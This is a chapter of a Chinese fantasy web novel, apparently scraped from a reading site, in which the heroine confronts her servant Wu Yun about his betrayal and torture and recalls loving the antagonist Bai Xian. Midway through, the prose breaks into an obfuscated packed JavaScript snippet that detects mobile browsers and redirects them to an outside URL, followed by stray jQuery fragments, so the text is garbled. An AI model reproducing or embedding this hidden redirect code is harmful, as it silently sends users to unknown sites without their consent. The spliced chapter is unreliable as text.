67. 前夜

作品:《救世主剧情加载中

    “砰砰砰——”


    门被人急促敲响,想来是个暴脾气。


    “谁?”阿也问。


    “我听祁老头……说了一些事。”门外传来殷珅的声音,“所以来问问你。”


    猜到几分来意,阿也收起案上东西,“请进。”


    隔着金漆几案对坐,殷珅没头没脑来了一句:“华烨醒了。”


    阿也奇怪地看他一眼,殷珅顿悟,二人魂魄相系,她定然最先知晓此消息,眼神微闪,半晌无言。


    “有话直说。”阿也替他斟酒,“这可不像你的风格。”


    “其实我没想杀他。”殷珅忽然道,“我只是气他苟活于世,辜负婳儿的一片真心。”


    “不算苟活。”阿也如实道,“白钰留在仙族,才没人去找我麻烦。”


    仰头灌下整杯酒,殷珅停顿片刻,又抢过酒壶,倒满一杯,盯着荡漾的水纹出神,“听祁老头说……你对那小子有意思?”


    有风吹进来,捎来远山雪的味道,清冽冷淡。一刹那的恍惚,她不知道这种事怎样算,说没意思,他们之间连最亲密的事都做过,说有意思,那些年左右不过一场交易,于是回答:“不知道。”


    二人碰完杯,殷珅却不饮,而是攥得紧紧,指节用力到发白,“你……想起来巫蕴是谁了么?”


    执杯的手一顿,阿也抬起眼,“他是……”


    “以后他是你的仆役了。”


    盛夏的浓荫里,少年听从白闲的命令,俯首跪在她面前,瘦弱的背上突出一节节脊骨,细细长长的,像一道疤。


    “我不需要仆役。”


    “抬起头,让祭司好好看一看。”


    少年闻言抬头,瞳色是罕见的墨绿,像两颗精心打磨过的翡翠,嵌在低眉高鼻之间,映照出深深浅浅的叶影。


    “收下吧。”白闲注视那双与从前判若两人的赤瞳,温声道,“就当养了条狗解闷。”


    “他是白闲监视我的暗线。”阿也说。


    “你知道?”殷珅震惊道,杯中酒液洒出些许。


    “我猜的。”阿也坦然道,在华宗相见的第一面他无端落泪,到后来那句“叫我去死也可以”,早有端倪,只不过从前的她身处局中,并不知晓。


    “既然你已知晓……那我便直言了。”殷珅深吸一口气,伸出手,指尖悬着一点黑光,“是白闲利用主仆之契,强迫巫蕴挖出了你的心。”


    那点黑光飞起,受感召坠在阿也指尖,仿佛被剜出的一粒小痣。


    “仙君,您真要……”


    “退下。”


    “……是。”白一颔首告退,担忧地看向殿中。


    那是一丈长,三尺宽的冰棺,隐约可见人形,在门外投来的暧暧阳光中,泛出锐利寒光,硬如金铁。


    “真冷啊。”华服加身的仙君走下王座,怜爱地抚过冰棺,“你最怕冷了。还记得幼时,你分明连脸都冻红了,还非要将大氅套在小容身上。”


    白闲无奈摇头,“罢了,你早已忘了小容。”他倚着冰棺,像是倚在谁的榻前。


    “小容是你十三岁那年,与我同赏花灯时,在巷子里捡到的狗,有一双罕见的绿眼。可惜除此之外。资质平平,活不了太久。那时你偷偷攒了好多丹药喂它,但还是无力回天。”


    他忽然笑起来,像是重新变回那个少年,“那时你明明说,以后再也不养了。可你走了又回来,忘了许多事,连这句话也记不得了。”


    “无妨,忘了便忘了。我们会重新开始,无论多少次。你想要什么我都可以给你,权势,地位……”白闲抚过脸侧,似是顾影自怜,“这副皮相也可以。”


    “但不要走。”


    坚冰在黑气的侵蚀中节节败退,露出一具素白的身体。白闲轻轻吻过那双紧闭的眼,一滴泪就那样落下来。


    “我什么都没有了……”白闲轻声道,“留下来罢。”他伸出手,抵在她胸口。贴着掌心传来的,是一颗心有力的跳动。


    良久,没有动静。


    像是想到什么好主意,白闲收回手,重新戴上那副温润的面具,不必作态而威仪十足。


    “巫蕴,过来。”


    画面溅上猩红,一阵剧烈摇晃,伴随重物落地声,陷入沉沉黑暗。


    “然后呢?”阿也问。


    “在被迫挖出你的心之后,他疯了。”殷珅轻描淡写道,“白闲废了他全身经脉,扔进了野坟山。要不是限于主仆之契,怕是难以苟活。”


    “我是在去灵族的路上捡到他的。那么冷的天,他衣不蔽体,浑身是伤,趴在路边舔水喝,跟条狗似的。”


    殷珅小口啜饮,看不清神色,“真不容易啊,从仙族到灵族那么长的路,仅凭一口气吊着。大概是想求祁老头接好经脉,然后为你报仇吧。”


    “不过……”他话锋一转。


    “当年你藏得那么隐秘,连我和祁老头都寻不到踪迹,况且,就算知道你在流潦之森,那外围凶兽无数,也不是轻易能进。你难道不想知道,白闲是怎么找到你的么?”


    殷珅一字一顿,“是巫蕴出卖了你。”


    足有一刻钟,或者更长时间。阿也什么都听不见了,唯有尖锐的蜂鸣在脑中回响。


    “于是我吸取教训,改造契术,令他与你签下血契,以证忠诚。”


    回过神来,阿也沉声道,“什么意思?”


    “血契血契,当然是以血为契,若非得不到主子赐予,仆从吃不饱,那就食不果腹,直至饿死。”殷珅把玩空酒杯,好整以暇道,“难道这些天以来,他就没跪在地上,跟条狗一样苦苦求你赏赐一点血?”


    难怪他打伤凌栾,反倒是自己失态。阿也想,凌栾喝过她的血,血里自然带有她的气息。


    这反应令殷珅意味深长地一笑,“那他还真是……”他放下酒杯,支起下颌,“如此情真意切,不如当面一叙?”


    默了片刻,她点点头。


    一炷香的时间,门再度被敲响,节奏均一,想必性子沉稳。


    “别把人玩死了。”殷珅看她一眼,知趣地收声,起身离开,与巫蕴擦肩而过。


    “主人。”


    巫蕴一如往常,单膝跪在她面前三步距离,但不同的是,她第一次向自己招了手,于是他膝行向前,伏在她脚边。


    “抬起头,让我好好看一看。”阿也道。


    巫蕴浑身一颤,慢慢抬起头来。


    阿也俯身,一手挑起他的下颌,一手插入发间,揭下那副冰冷的银面,一顿。


    似有所感,巫蕴睫羽微颤,对上她眼中自己的满脸疮疤,是如此丑陋、不堪入目,简直玷污那片鲜艳赤色,于是缩紧瞳仁,偏开视线。


    顺势捉住巫蕴右手,他瑟缩着,但没有反抗,于是指尖挑开绷带的系结,一圈圈地松解,像是将人层层剥开,探究内里究竟有无真心。


    从指尖到掌根,再到手腕,待露出第一道狰狞的割痕时,阿也顿了顿,接着卷起,一路向上——简直是满目疮痍。


    “我……”巫蕴终于开口,但下一瞬间,瞳仁急剧放大,再也说不出话。


    指腹重重碾过唇瓣,撬开齿关,抵住尖牙,划开一道小口。


    “唔……”一声难耐的长吟。


    巫蕴下意识抿唇,触及指节又迅速弹开,生怕弄伤似的,被迫承受她施加的这一切,神色时而冷静,时而迷幻,仿佛在美梦与现实之间苦苦挣扎。


    唇色染红,赤纹从脖颈爬上面颊,像朵妖娆绽放的红莲。终于,他再也忍不住,挺胸含住指节,尽情吸吮,神色痴醉。


    指腹勾缠湿润的唇舌,缓慢辗转,另一只手贴在他凹凸不平的侧脸,控住动作,但他太过沉迷,甚至不曾发觉,于是阿也趁机剥离一缕神识,侵入识海之中。


    出乎意料的,没有任何禁制。从出生至今,他的记忆,一览无余。


    无意偷窥他人隐秘,阿也略过大团气泡,直取背后最阴暗的那枚,轻轻点破。


    浑浊的黑红色扑面而来,阿也屏住呼吸,见到一连串细密的气泡,方意识到是巫蕴被淹在其中。


    “如何?”


    随着这声落下,视野被黑红剥离,落入一片昏暗中,逐渐清晰。四周密不透风,弥漫着浓郁的血腥气。


    “咳咳——”巫蕴呛咳出大滩污血,铁链随动作挣出爆响。好一会儿才平息,他拭去唇边血迹,木然地盯着角落里的阴影。


    柔光亮起,映照不染纤尘的衣摆,以及脚下粘连的皮肉,污秽一路蔓延,笼住巫蕴满身伤痕,尤其背后鞭痕交错,险些将人撕裂,仅剩那张脸,惨白如纸。


    “煎熬三年酷刑,当真冥顽不化。”那人含笑道,“想必时时刻刻都在怨怼吾罢。”


    半晌,巫蕴嘶声道:“……主人。”


    他才是真正的,隐藏于幕后的主人。


    “你既唤我一声主人,罢了。念在主仆一场,吾退一步便是。”那人温声道,“只消替吾捎句话,以此换你自由。”


    见人神色微动,他继续加码:“不过是年节将近,想起她曾托我一事,有了结果,你去也可问问她,看她是否还记得当年约定。若不愿前来,吾自然不会强求。”


    “我……”巫蕴一张口,腹中剧烈绞痛,胃液混着胆汁吐了一地秽物。


    “如此,稍过量的胎血会致人呕吐。”那人记下,思索片刻,轻飘飘道,“若你不愿,再与她相见,想必是被亲手斩于剑下了,抑或……”


    无论想到哪一种,招来的都是无法自抑的痛楚,更甚体内被胎血灼烧。巫蕴用力地闭上眼,“我……答应。”


    人走远了,却听到隐约声响,巫蕴一怔,手脚并用地爬到墙角,直至禁锢四肢的锁链彻底绷紧,再无余量。


    这里太过偏僻,连光也无法企及,才得以幸存。一尺之遥,他摩挲墙面上交错的刻痕,简简单单的两个字,无姓亦无氏。


    指甲慢慢刮去那些痕迹,翻卷起翘,扯痛心尖阿巫蕴蜷缩起来,抚上胸口,隔着薄薄一层皮肉,摸到突出的四棱。


    耳边传来淅淅沥沥的声音,他想,又下雨了。


    自潮湿粘腻的触感抽离,阿也对上那双墨绿的眼眸,泛起盈盈水光,润如朝露。


    意识到她做了什么,巫蕴闭上眼,似是视死如归。


    注意到他睑缘一粒小痣,阿也一顿,另一只手手落在他右耳骨那节晶柱上。


    巫蕴猛地抬头,撞进那片深沉的赤色,看见自己脸上的疤痕一道道愈合,重回光洁。


    不要。他的眼神像是在说,求你。阿也想着,一点点抽出那半节晶柱,像是抽走了他的脊骨,巫蕴剧烈颤抖起来,仿佛即将变为一滩烂泥。


    阿也垂下眼,慢慢碾碎了,将渣滓洒在他面前,平静道:“你走吧。”


    那一双满是疤痕的手小心翼翼地伸了出来,去摸地上那些亮晶晶的颗粒,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406765|166238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但因太过细碎而无法拾起。


    最后,徒劳无功地收回。巫蕴膝行向后,恭恭敬敬地俯身,一下又一下,把那些尖锐的颗粒印进额头。


    等到第三下,他抬起头,血流进那双墨绿色的眼里,“是。”他深深颔首,起身退了出去。


    看好戏的殷珅挤进门,重拾案几对座,“我还以为你会杀了他,或是原谅他。”


    像是从梦魇中醒来,难以言喻的疲惫,阿也摁住额角,淡淡道,“你在试探我。”


    殷珅的笑容僵在脸上。


    “你知道祁霜的下落,但同我说不知道,正如你知道灵鼎对我的记忆无用,但依旧骗了我。”阿也道,“你想诱我去灵族,见一见如今的四族是何等惨烈,哀鸿遍野,生灵涂炭,好激起我的恻隐之心。”


    “而祁隐早将一切坦白,所以你一直不敢在我面前提白闲姓名,害怕我想起那些过去,甚至愿意舍下面子跟我去仙族,想趁机动手抹去我的记忆。”


    “你……你都……”


    “我还猜,祁隐虽没能成功,但意外发现神血能够再生,对吧?”阿也微微一笑,“所以你才肯收留巫蕴,改为签下血契——万一找不到我,就当养了条狗。”


    “再者,万一我想起一切,也能留下后手,那就是从他的记忆里掏出一些威胁……”


    “是!我在试探你!”殷珅猛地起身,掀翻了几案。


    酒杯被震落,碎了一地晶莹。他急促喘息着,如狮虎咆哮,而挺直的腰却渐渐弯下去,像一根被压弯的稻草。


    “我们没有其他退路了!”他紧紧扣住自己的脸,手背青筋暴起,指缝中闪出泪光。


    “你根本不知道!眼睁睁看着子民惨死,或被瘴气侵蚀,堕落成人不人鬼不鬼的模样,只能亲手了结的痛苦!我们,我们……”


    “好了。”阿也轻声道,“我知道,我都知道。”


    没有别的路可选。


    自始自终摆在她脚下的,只有一条路。


    这条路连接被遗忘的过去和混沌的现在,最终通向已知的未来。


    于是她像曾经答应九洮,答应云弈那般向殷珅许诺,“我会杀了他。”


    雨下了一整夜。


    水珠滚过琉璃窗,仿佛未尽的油墨。偶有黑色飞鸟斜点檐角,伴雨轻啼。


    奇怪,阿也躺在榻上,心想如此重要的时刻,事关四族的存亡,想起的却是一些无意义的事。


    譬如那杯酸苦得难以下咽的热茶,芳芪掌心的冷汗。阿也一一合拢五指,好似虚握住另一只被夜风吹得冰凉的手。


    以及飞舟上大红大绿的被褥,发霉的屏风,和华谏难看的脸色。阿也忍不住笑起来,又如水上浮光,一闪即灭。


    月光照在青兰上,脚印潮湿泥泞,有风吹过树梢,送来也桃幽幽的香气,融进小谣中,逃往低嗥的海里。


    傍晚暮色温煦,云欢咬着麦秆,念完卓清歌的寻人启事,蹦蹦跳跳送给凌栾一盒点心,转眼间,又从身后掏出银盒,说当作华烨的生辰礼。


    熊熊燃烧的篝火旁,大家在琴声里笑闹成一团,云欢在漫天飞雪里起舞,五彩斑斓衣起落,曳出一抹青影。


    旁侧树下的女子摘下幂蓠,露出指上那枚刻有三叶七瓣花纹的尾戒……


    尾戒!


    阿也惊坐起身,抓住自己空荡荡的小指,神色不定。


    差点忘记,她借机在那枚乌金尾戒上留了一缕神识。迟疑一阵,阿也循着那缕神识潜入虚空,在荡开的涟漪中,见到白闲。


    一柄绘有双色梅纹的旧伞隔开雨帘,他步履悠闲,穿过重重宫门,空无一人。


    他要去哪儿?阿也想,眼前豁然开朗。


    在这森如坟冢的宫殿里,居然腾出大片空地,种满了也桃。花瓣垂雨,惹人怜惜,而枝桠在风中轻颤,似乎在招人与之同乐。


    白闲在桃林间从容漫步,逐一抚过枝头的苞蕾,回应它们的呼唤,亲昵得好像每一朵都被他取下名字。


    而走进桃林更深处前,他蓦然回首,微微一笑,抚上心口,仿佛早已知晓她的窥探——


    阿也斩断那缕神识,呼吸急促。


    她想起来了。


    那一日从榻上醒来,她第一眼看见的并不是取走心尖血的祁隐,而是伏在榻边的白闲。


    他大概疲惫极了,头发乱糟糟的,衣裳也乱糟糟的,睫羽沉沉坠着,呼吸也沉沉,在夕阳的余晖里,一切静谧如画,唯有浮尘蹁跹。


    她小心坐起,不经意间带起吱呀响声。


    白闲的气息一滞,却委实太累,醒不过来似的,眨眼间又变得均匀绵长。一缕鬓发轻轻滑落,压在眼尾,发梢抵住睫羽,他微微皱眉。


    时间停留在这一瞬,又或许仍是静悄悄地流动着,无声无息。


    最后,她伸出手,挑开那缕鬓发,缠在指尖,别在白闲耳后,隔空描摹他的眉眼。


    “咔!”


    宁静而平和的画面被一拳打碎。


    阿也倒在榻上,在剧烈的抽痛中蜷缩身体,渐渐的,一种不同于恨意的钝痛袭来,平缓的,但更加绵长,融进骨血,流遍全身。


    终于,她不得不承认,待在仙族的那段时间里,不止是为了白钰的遗愿,更多的是那些早已被抹去的私情作祟。


    她相信白闲,支持白闲,也……爱过白闲。


    至少在夕阳落下的那一刻。


    天亮了。